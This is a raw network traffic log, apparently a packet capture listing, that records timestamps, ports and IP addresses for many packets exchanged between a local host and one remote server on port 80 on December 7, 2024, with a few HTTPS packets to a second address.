Dec 7, 2024 22:40:44.348962069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.349019051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.349059105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.349853992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.349900007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.349988937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.350034952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.350781918 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.350830078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.350876093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.350925922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.351738930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.351792097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.351808071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.351854086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.352664948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.352713108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.352797031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.352842093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.353627920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.353677034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.353733063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.353770018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.412134886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.412210941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.412231922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.412267923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.412369013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.412416935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.412426949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.412447929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.413295031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.413352966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.413467884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.413516045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.414228916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.414279938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.414341927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.414386034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.415178061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.415230036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.415296078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.415338039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.416168928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.416222095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.416246891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.416289091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.417076111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.417124033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.417131901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.417171955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.418016911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.418071985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.418127060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.418170929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.419141054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.419152975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.419192076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.419889927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.419939041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.419981956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.420023918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.420836926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.420887947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.420917988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.420954943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.421823978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.421873093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.421931982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.421976089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.422744989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.422794104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.422852993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.422895908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.423728943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.423780918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.423829079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.423877001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.424623966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.424675941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.424702883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.424746037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.425596952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.425656080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.425698042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.425745010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.426537991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.426588058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.426681042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.426726103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.427474976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.427527905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.427576065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.427618980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.428410053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.428463936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.428534985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.428577900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.429347992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.429402113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.429450035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.429493904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.430268049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.430319071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.430370092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.430412054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.431227922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.431278944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.431338072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.431381941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.432168007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.432231903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.432244062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.432288885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.433126926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.433173895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.433305979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.433351040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.434015989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.434062958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.434125900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.434170008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.434993982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.435039043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.435096025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.435137987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.435930967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.435976982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.436069965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.436117887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.436886072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.436932087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.436976910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.437014103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.438002110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.438014030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.438055038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.438791990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.438838959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.438894987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.438935995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.439706087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.439749956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.439851046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.439898968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.440642118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.440689087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.440763950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.440809965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.441597939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.441643953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.441773891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.441817999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.442517042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.442564011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.442640066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.442686081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.443494081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.443541050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.443572998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.443617105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.444458961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.444504023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.444688082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.444734097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.445442915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.445460081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.445483923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.445503950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.446312904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.446358919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.446470022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.446511030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.447257042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.447303057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.447366953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.447412968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.448251963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.448298931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.448332071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.448374033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.449193001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.449242115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.449285030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.449328899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.450098991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.450139999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.450212955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.450263023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.451036930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.451082945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.451199055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.451245070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.452001095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.452049017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.539756060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.539834976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.539875984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.539921045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.540170908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.540225029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.540256977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.540298939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.541063070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.541111946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.541245937 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.541429043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.541476965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.541546106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.541587114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.541841984 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.541853905 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.542330027 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.542337894 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.542355061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.542402029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.542506933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.542556047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.543292999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.543354988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.543426991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.543478012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.544261932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.544308901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.544410944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.544454098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.545281887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.545331955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.545418978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.545461893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.546189070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.546241045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.546297073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.546338081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.547086000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.547133923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.547261000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.547301054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.548021078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.548065901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.548096895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.548141003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.604681015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.604712009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.604748964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.604793072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.605107069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.605123043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.605161905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.605175018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.605870962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.605941057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.605973005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.606017113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.608829021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608844995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608855963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608866930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608890057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.608906031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608918905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.608928919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.608957052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.609462976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.609513044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.609539032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.609580040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.610394955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.610445976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.610490084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.610532999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.611329079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.611382961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.611440897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.611490965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.612283945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.612337112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.612410069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.612457037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.613199949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.613253117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.613286972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.613328934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.614382982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.614404917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.614439011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.614466906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.615150928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.615163088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.615205050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.615221024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.616193056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.616246939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.616343021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.616389990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.617063999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.617113113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.617152929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.617203951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.618000031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.618057013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.618143082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.618192911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.618938923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.618994951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.619030952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.619103909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.619864941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.619900942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.619915009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.619929075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.620781898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.620825052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.620913029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.620963097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.621714115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.621759892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.621845007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.621898890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.622663975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.622705936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.622739077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.622777939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.623624086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.623673916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.623707056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.623790979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.624655008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.624696970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.624895096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.624948025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.625540018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.625586033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.625680923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.625730991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.626522064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.626579046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.626611948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.626657009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.627440929 CET	80	49790	185.215.113.206	192.168.2.6
